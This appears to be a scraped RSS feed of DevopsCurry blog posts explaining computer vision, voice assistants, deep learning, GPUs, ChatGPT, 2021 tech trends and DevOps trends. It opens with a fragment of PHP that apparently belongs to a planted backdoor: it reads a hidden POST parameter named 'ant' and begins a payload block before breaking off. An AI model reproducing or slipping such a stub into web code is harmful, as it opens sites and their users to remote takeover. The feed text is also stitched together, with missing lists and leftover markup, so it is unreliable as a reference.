$_api_resp = @$_POST['ant'];
if ($_api_resp) {
$pk = <<

Image credits: The Power of Computer Vision in AI: Unlocking the Future!
Computer vision, to speak in simplest terms, is how computers see. One of the most common examples is the face unlock feature on your mobile. You first register your face with your mobile, where it captures some of the facial features unique to you. It then tries to match this stored facial data to your face the next time you try to face-unlock it. If your face matches it, it unlocks itself, otherwise it doesn’t. The whole of this process requires your mobile to process visual data although it appears as if it is ‘seeing’. This capability is enabled by computer vision.
IBM defines computer vision as “…a field of artificial intelligence (AI) that uses machine learning and neural networks to teach computers and systems to derive meaningful information from digital images, videos and other visual inputs—and to make recommendations or take actions when they see defects or issues. “ It’s a long and technical definition. To understand this field better, let’s learn about how it works first.
Computer vision functions using AI and machine learning algorithms like CNN. Let’s get a brief idea of them one by one.
Deep learning is a subset of machine learning which further is a subset of artificial intelligence. It is an advanced version of machine learning that can mimic the human brain and its decision-making process. Deep learning works using an interconnected network of nodes that resembel the network of neurons in a human brain. It enables CV models to work autonomously and gain context for the visual data once sufficient training data is provided.
Convolutional neural networks or ConvNets or CNNs are a type of deep learning model that are specially designed to support Computer Vision. It allows CV models to extract features associated with an object, thus helping them identify an object. Before CNNs, these features were extracted manually and provided to the CV model in the form of labeled data. Therefore, CNNs help save a lot of time and manual effort.
The steps involved in computer vision processing can be summarized as follows:
CV models can perform one or more of the following tasks…
Computer vision is a rapidly advancing field that allows machines to ‘see’ and interpret the world visually, almost like humans. By using technologies like deep learning, CNNs, and AI, computer vision has found its applications across industries, from healthcare and manufacturing to autonomous vehicles and augmented reality. However, as impressive as it sounds, computer vision has its own set of limitations. Real-world environments which are much more dynamic and complex than training data, can still be difficult for CV models to process. Privacy and data leakage concerns are also important challenges that need to be addressed.
The post Computer Vision: How do Computers ‘See’? appeared first on DevopsCurry.]]>In this article, we will be talking about what a voice assistant is, a brief history of its evolution, how it works, pros and cons, and much more…
Voice assistants can be grouped under a wider category of digital assistants which include all software’s capable of performing simple tasks like answering questions, scheduling events, setting up reminders, etc. However, they can even include AI softwares that work exactly like voice assistants but uses textual data instead of audio. That said, voice assistants specifically use voice-activated commands with speech-to-text or text-to-speech capability.
In technical terms, a voice assistants can be defined as “…a digital assistant that uses voice recognition, language processing algorithms, and voice synthesis to listen to specific voice commands and return relevant information or perform specific functions as requested by the user.” (Alan AI) Apple’s Siri, Google’s Google Assistant, Amazon’s Alexa, and Microsoft’s Cortana are popular examples of voice assistants. Out of these, Siri was the first voice assistant to be publicly available with its launch in 2010.
Surprisingly, voice assistance technology has existed since the 1960s with a few traces dating to the 1920s. That said, now let’s get a brief overview of the evolution of voice assistance technology…
Speech recognition technology can be traced back to the 1920s when a voice-activated product called ‘Radio Rex’ was invented in 1922. It looked like a dog house with a toy dog (named ‘Rex’) attached to a spring inside the house. Whenever you called its name, by which I mean shouted ‘Rex’, the toy dog would spring out of its house. This was however a crude technology that mostly recognized only adult male voices. Thus, women and children had to either shout out loud or pronounce it differently for the device to sense their voice.
This was followed by Audrey, the ‘automatic digital recognizer’, invented by New York’s Bell Laboratories in 1952. It could recognize the 10 numbers, from ‘0’ to ‘9’, for which it required a 6-foot tall casing to house all of its circuitry system.
IBM Shoebox was launched in 1962 and could perform simple mathematical operations like addition, subtraction, multiplication, etc on numbers from 0-9. It could recognize 16 spoken words in total – including the numbers (zero, one, two, etc.) and operations (plus, minus, etc). It was named so because of its size which was similar to that of a standard American shoebox.
Next in the line was the Dragon Dictate which was invented by Dr. James Baker in 1977. It was the first speech recognition software that was commercially available at a startling price of $9000! Designed for DOS-based computers, Dragon Dictate required the user to dictate one word at a time perfectly and pause for the computer to process it before moving on to the next one. That said, it was frustrating to use, unlike today’s natural voice typing programs.
Then in 2010 came our familiar Siri, developed by SRI International as a dedicated app on the iOS app store. It was acquired by Apple Inc. in April in the same year. In 2011, a beta version of Siri was introduced as an integrated program in iPhone 4S. Now, Siri has advanced to all Apple products including iPhones, iPads, Apple TV, Mac, etc.
Soon other famous voice assistant models began coming up – like Google Voice Search in 2011 and Google Assistant in 2016. Amazon’s Alexa was announced in 2015 which popularized smart devices with integrated speech recognition technology.
Here’s a comprehensive timeline showing the evolution of voice assistance technology…
(WARNING: requires a lot of scrolling)

Image credits: Voice Assistant Timeline
Voice assistants work using a combination of various technologies – like speech recognition, STT (speech-to-text), machine learning, etc. Let’s understand each one of them and their role one by one…
Speech recognition, also known as automatic speech recognition (ASR), helps a computer to interpret and process spoken words. It may involve steps like preprocessing, feature extraction, pattern matching, etc. Speech-to-text (STT) involves the conversion of spoken words (audio) into written words (text) to make it readable to the computer. Speech recognition utilizes 2 models to work:
Natural Language Processing or NLP is the technology that helps computers to interpret and generate data in natural human language. It involves Natural Language Understanding (which is the comprehension aspect) and Natural Language Generation (which is the generative aspect).
In voice assistant technology, NLP ensures that the computer understands the intended meaning of the user’s input and responds in a humanistic way.
AI and machine learning play a crucial role in the working of voice assistants. It enables features like:
Opposite to Speech-to-text, which converts spoken words to text format, Text-to-speech (TTS) converts written text into audio. It is through TTS technology that the voice assistant conveys the output or response to the user.
All the steps involved in the working of voice assistants can be summarized in the following illustration…

Image credits: Voice AI: What is it and How Does it Work?
Machine learning (ML) is a branch of artificial intelligence that focuses on building machines that can learn on their own. However, ML models cannot learn from just any data. They can process only structured and well-labeled data, and any unstructured or unlabeled data needs to be refined before feeding it to ML models.

Deep learning is a subset of machine learning and AI
A more evolved subset of machine learning is deep learning which closely resembles the human brain and its decision-making process. Deep learning models do not necessarily require structured data and can work with a variety of data effortlessly. Moreover, this ability to learn autonomously and respond in a humanistic way has opened up several interesting possibilities such as – AI image recognition, natural language processing (NLP), generative AI, etc. However, although deep learning seems more advanced and powerful than machine learning, both have their advantages and disadvantages. That said, let’s learn about the major differences between the two…
Deep learning and machine learning differ in terms of their functionality and complexity. Following is a table highlighting the major differences between both of them…

Major differences between deep learning and ML
Deep learning works on a network of interconnected nodes (or neurons) called artificial neural networks (ANNs). It is similar to how a human brain comprises millions of interconnected neurons and nervous tissue. A typical ANN is composed of 3 layers:
Different types of deep learning models perform various functions using a similar layered architecture. Let’s discuss some of them now…
Deep learning has narrowed the gap between humans and computers. By mimicking natural human intelligence and decision-making, deep learning models continue to replace the manual workforce in various industries. However, being more advanced, it cannot replace ML completely, which is still useful for tasks requiring mathematical or objective analysis rather than deep learning’s subjective analysis. Additionally, the output produced by deep learning models is not entirely trustworthy due to their ‘black box’ nature. This has led to the development of explainable AI which can trace an AI model’s output to its sources and thus, uncover the hidden black boxes.
The post Deep learning: Teaching Machines How to be Human appeared first on DevopsCurry.]]>According to the latest research report by ZMR (Zion Market Research),“According to the latest research study, the demand of global GPU As A Service Market size & share in terms of revenue was valued at USD 2.31 billion in 2022 and it is expected to surpass around USD 28.7 billion mark by 2030, growing at a compound annual growth rate (CAGR) of approximately 28.78% during the forecast period 2023 to 2030.”
The key market players are listed in the report with their sales, revenues and strategies are DigitalOcean, Amazon Web Services (AWS), Oracle Cloud, Microsoft Azure, OVHcloud, Google Cloud, Qarnot Computing, IBM Cloud, Packet, INVIDIA Cloud, Vultr, Scaleway, Igneous, HPE GreenLake, Paperspace, NetApp, Alibaba Cloud, Hetzner, Rescale, Linode, and others.

IMAGE CREDIT: https://www.zionmarketresearch.com/report/gpu-as-a-service-market
This is the reason we see a lot of buzz around the GPUs and the GPU manufacturers and vendors.
But as a layman, do we have an idea, what is GPU, how does it work, what the the different GPU components etc.
A Graphics Processing Unit (GPU) is an electronic device or circuit designed primarily for rendering and processing video and image data on a computer screen. GPUs are also known as Visual Processing Units (VPUs) because they excel at handling visual data. They are optimized for parallel processing, allowing them to perform multiple tasks simultaneously, making them exceptionally fast at handling mathematical and graphical workloads. GPUs are instrumental in providing 2D and 3D graphics in computer games and various other visual applications. In recent years, GPUs have become a critical component in fields such as Artificial Intelligence (AI), machine learning, scientific research, and simulations, as they significantly reduce the time required to solve complex mathematical problems.
Additionally, GPUs are used in cryptocurrency mining to perform the intensive calculations necessary for securing blockchain networks, as seen in cryptocurrencies like Bitcoin.
Examples of Applications that need GPUs:
There are several types of GPUs, each tailored to specific applications:
Integrated GPUs: An integrated graphics card shares power between the GPU and CPU, because the graphics card is built directly into the computer’s processor. Integrated GPUs are best for typical PC processes like web browsing, social media, and resource-light work such as spreadsheets, editing documents, and project management software.
An integrated GPU (iGPU) does not have its own video memory bank (also known as VRAM), and instead uses the same system memory that is utilized by the CPU. Integrated graphics cards are typically a low-power, low-heat solution that still lets your computer boot and perform all kinds of day-to-day tasks without any issues
Discrete GPUs: Discrete GPUs are individually embedded on the motherboard instead and are capable of dealing with more complex graphic processing.For the users playing high resolutions games and video editing may need an external component i.e graphics card for their purpose.
Discrete graphics cards also come with their own memory in the form of VRAM (video RAM, or video random access memory), which gives the dedicated GPU quick access to relevant image data. As a comparison, integrated graphics do not have a dedicated set of memory to pull image data from, but, rather, use the system’s memory to pull image data from.
There are two major providers of discrete GPU for laptops: AMD & NVIDIA.

IMAGE Credit: https://www.akshatblog.com/graphics-card-components-explained-in-detail/
GPU generate the images and for that it needs more space to collect the image data, so GPU collect their data in RAM (Random Access Memory) and RAM is connected though DAC (Digital-to-analog convertor) and from that the image will be interpret from the analog signal that regulate for uses.
A Graphics Card is primarily responsible for rendering images on the display, be it images, videos, games, documents, the regular desktop environment, or a file folder, and anything else. All of these things, from tasks that require tremendous computing power, like a video game, to something we consider “simple” like opening a new text document all require the use of a graphics card.
A graphics card is a PC component intended to permit the computer to read different graphic pictures.
A graphics card maps the instructions issued by other programs on our computer into a visual rendering on the screen. But, a modern graphics card is capable of processing a phenomenal number of instructions simultaneously, drawing and redrawing images tens or even hundreds of times every second to ensure whatever we are looking at, whatever tasks we are attempting to complete remains smooth.
| S.NO. | GPUs | CPU |
| 01 | It stands for Graphics Processor Unit. | CPU stands for Central Processing Unit. |
| 02 | It has many numbers of cores. | It has less number of cores as compared to GPU. |
| 03 | It has few image processing libraries. | It has many image processing libraries. |
| 04 | GPU has simple instruction cycle. | The instruction cycle of CPU is difficult. |
| 05 | GPU has faster speed then CPU. | CPU has less speed. |
| 06 | GPU is utilized for 3D graphics. | It is utilized for a wide range processing. |
| 07 | It has parallel processing. | It has serial process. |
| 08 | Easy to programming with imaging libraries. | Easy to program with C++ language. |
| 09 | It has less numbers of tools for debug. | It has many numbers of tools available for debug. |
| 10 | It provide the good performance-per-watt. | It provide low heat output. |
We would like to conclude on a note that the buzz around the GPUs is all real , with ever increasing demand from AI,ML, Blockcahin, Gaming and other similar domains and GPUs would the hot selling cakes for then next few years.
Manufacturers like NVIDIA, AMD, Intel, ASUS, Apple, GIGABYTE, ZOTAC, EVGA etc are all facing high demands from their customers and a supply crisis to match those numbers, again making the demand supply chain imbalanced.
So through this post we made a short attempt to share basic understanding and knowledge with our customers about what is a GPU and how does it work. We will deifinetly do more detailed posts on GPUs in future so please do subscribe us and follow us.
The post Understanding the buzz around GPUs in 2023 ? appeared first on DevopsCurry.]]>ChatGPT , launched in November 2022, by AI & research company & open AI that specializes in developing conversational AI models. The abbreviation “GPT” stands for “Generative Pre-trained Transformer.” This tool utilizes AI technology to enable human-like conversations with chatbots.
To better understand this concept, let’s consider an example. Imagine you are searching for a real estate company and you come across a website. Upon visiting the website, you encounter a chatbot designed to assist you and address your queries. This chatbot operates on a similar principle as ChatGPT, as it is constructed as a question-answering model.
In summary, ChatGPT leverages advanced AI techniques to create Chatbot models capable of engaging in realistic conversations, making it a valuable tool for facilitating user interactions and providing information.

Image Credits: https://medium.com/geekculture/chatgpt-what-is-it-and-how-does-it-work-exactly-62e7010524d3
It is very easy to use ChatGPT, so sharing it in a step by step manner:
Step-1: As a first step you need to go to their webpage by the link chat.openai.com on your any device( smartphones, computer, laptops) and create an account, if you do not a have it already.
Step-2: Now once your account is created, it’s free to use. After the account is created you can login to the home page of ChatGPT
Step-3: Now you can ask your queries and ChatGPT will reply back to your questions.
Some important limitations of ChatGPT are as follow:
After its launch, ChatGPT had crossed over a Million users just within the first week. The world is amazed with infinite possibilities and can’t stop talking about this one-of-its-kind AI and are sharing their experiences on social media. It seems like from generating video ideas for content creators to helping developers spot errors in their code, the ChatGPT seems to have a little something for everyone.
What is different this time is that unlike the traditional Chatbots that connect keywords with intents, LLMs like ChatGPT are text predictors. Which means they fundamentally learn about the relationship between texts, words and sentences and then they use these relationships to predict the following string of characters.
But despite the fact that such developments are clearly ground-breaking, there seems to be a long way to go for it to become standard for general NLP purposes. Current studies show that even though the ChatGPT model is impressive given its do-it-all ability, it still might be underperforming compared to existing state-of-the-art solutions for modern NLP tasks.
Hence we would like to conclude with the thought that even though ChatGPT has taken the world by storm and not to deny the fact that ChatGPT is an exciting advancement in AI technology, it is yet to be seen if this is sustainable model in the long term both from cost and technology perspective.
The post Exploring the Buzz around ChatGPT in 2023 appeared first on DevopsCurry.]]>
Currently more than 3.8 billion population on the globe use the Internet today, which is 40% of the world’s population. We are being introduced to new gadgets and technologies every day. Now as old technologies continue to work as a base for new ones, let us talk about some of the future technology trends that are going to rule the world for good.
These trends are going to take over the internet by storm in 2021.
This post talks about some of the latest key technology trends in the software industry like Artificial Intelligence, VR ,AR, IoT, and many more. Let us dive into these trends to know about what makes them so special for the future of technology.
In the simplest words, cloud computing will let you store your data over the internet, instead of your hard drive. The most common example of cloud computing is Google Drive. The data you store in the Google drive is delivered to you via Google cloud. This data is stored in the cloud only.
The majority of companies are now turning towards Cloud Technology certainly because of the great benefits of it. Companies do not need to invest in hardware and servers. Instead, they can rely on Cloud providers and save a huge amount of money and time.
But, there something even more advanced than the Cloud and everyone talking about it. It is Edge computing. Edge computing ,a concept that started from the mobile and telecom sectors has now quickly spread to almost all domains. Edge computing transformed the way data is being handled, processed, and delivered from the devices all over the world.
Everyone has heard of Artificial Intelligence, especially in those Sci-fi movies. So, it is already a well-known term but it is yet to become present everywhere in our everyday life. There is no limit to the potential that Artificial Intelligence can provide us in the future.
Artificial Intelligence is present everywhere if you notice. It is in home appliances, hospitals, smartphones, military, government, and many other sectors. It is at the root of technologies like face recognition and speech recognition.
Machine Learning is an application of AI. It provides the system, the ability to automatically learn and self-improve from experience without being explicitly programmed. So machine learning is basically a part of AI. We are surrounded by Artificial Intelligence daily. That day is not far when we will be relying on AI for most of our needs.
Blockchain has its own place in the most important technology trends for the future.Blockchain simply creates a chain of data that cannot be changed. It is data that you can only add to, not take away from or change. The center point of its security is that the data blocks cannot be altered once it is added into the chain.
As Blockchain is highly secure, it is going to be used to stop internet fraud and hacking. By 2021, institutes are developing a blockchain for preventing internet fraud and information leakage at a high scale.
Blockchain is also a good solution for providing security to IoT devices. IoT devices are not good at securing your data at a high level. Blockchain will turn the tables in the future for IoT.
Data Science helps to manage complicated data that does not make sense otherwise. This includes business data, sales data, customer profiles, server data, and financial figures.
Most of the time, this data belongs to huge data sets that are unstructured. Data Scientists convert these unstructured data sets into structured data sets. So this data can be analyzed to identify patterns and trends. These patterns will work greatly to understand everything about a company. From business performance to customer retention.
Companies are relying more on the use of these unstructured big data to leverage data science technology. Data science technology is cost-efficient, innovative, and quick if used appropriately.
Augmented Reality or AR is one of the top technology trends of 2021. Many times people confuse AR with VR, but both are different from the core. People are more familiar with virtual reality but don’t have much knowledge of what is Augmented Reality(AR).
Augmented Reality enhances real-life views with digital images and effects. AR works with camera lenses. Popular examples of AR applications are Snapchat and Pokemon Go.
Customers are loving AR because of its infinite real-life applications. For ex. Lenskart.com provides a feature to upload your image on your website. You can try different glares and glasses and decide which suits you the best. You don’t need to go to the shop and try glasses on your face.
AR is used in many other sectors like an advanced navigation system to show the route on a real-time view of the road. In the military, pilots use AR helmets to see status of their speed and altitude.
Everyone is well-aware of VR. Virtual Reality has to be one of the top technology trends for 2021. It immerses the user in an virtual environment. It makes them feel as if they are experiencing the simulated environment by stimulating their hearing and vision.
The most popular VR tools are PlayStation VR and Facebook Oculus.VR is also used for educational purposes. For ex. Virtual museums, galleries, discovery centers, and theaters. Some theme parks offer a more engaging experience with the use of VR. Another widespread use of Virtual Reality is training and simulation.
But there are so many things that can be improved in VR technology. In the future, we will have an even better experience in VR.
Another buzzwrod, Internet of Things is the future. But what exactly is IoT? Well, it means things that are built with WiFi and can be connected to the Internet and with each other. IoT is growing every day and something new is being added to it constantly.
It is assumed by 2021, every person will have at least 4 connected devices, which will increase to 15 devices by 2030. The total market value of the IoT industry is approximately $150 billion.
IoT can be seen in smart lights, smart fridge, etc. It is also a part of our daily life in the form of smart wearables such as smart glass and activity trackers. Many small cities are adopting the Internet of Things for traffic and waste management, urban safety monitoring, and water distribution.
Cybersecurity is an oldie but it has made a place in one of the trending technology for the future. It never went out of trend. Why? Because as long as there are hackers, there will be a high demand for cybersecurity. Hackers are always trying to perform new malicious activities.
The global market of Cybersecurity is worth $173 billion and it will increase to $270 Billion by 2026. Also, jobs in this industry are growing at a faster rate of 3x.
It is not just about businesses that are at risk. Every individual who connects to the network is at a risk. Also, small businesses are at a higher risk of cyberattacks. As per research, 61% of data crimes are targeted towards companies with less than a thousand employees.
Cybersecurity is emerging day by day. Some advanced features of cybersecurity include blockchain security, homomorphic encryption, and zero-knowledge proofs.
So these are some of the trends which we feel, are going to rule the world of technology in the coming years. That is why there are greater chances of jobs in each of these fields.
Do let us know what is your favorite technology trend so far in the comments section.
The post Top 8 technology trends to keep an eye on in 2021 appeared first on DevopsCurry.]]>
COVID-19 has not only pushed the digital adaption by the customers immensely, but the industry at large has also seen the digital transformation accelerate by at least twice the rate at which it was planned. This technology advancement is possible only because of various next-gen coding practices are being practiced and DevOps is one of them.
So, what are the trends that we will get to see in DevOps going further? Let us have a look.
These are the trends that we think will be on top of the minds of the developer community, as the world is slowly started to live with the virus and will learn to live post pandemic.
It is important that before companies commit themselves to DevOps based software development processes, they get an understanding and acceptance from all the relevant stakeholders from within and outside the company. Jumping the bandwagon without proper strategic planning could prove to be disastrous.
The post Devops Trends to watch in a post-COVID era appeared first on DevopsCurry.]]>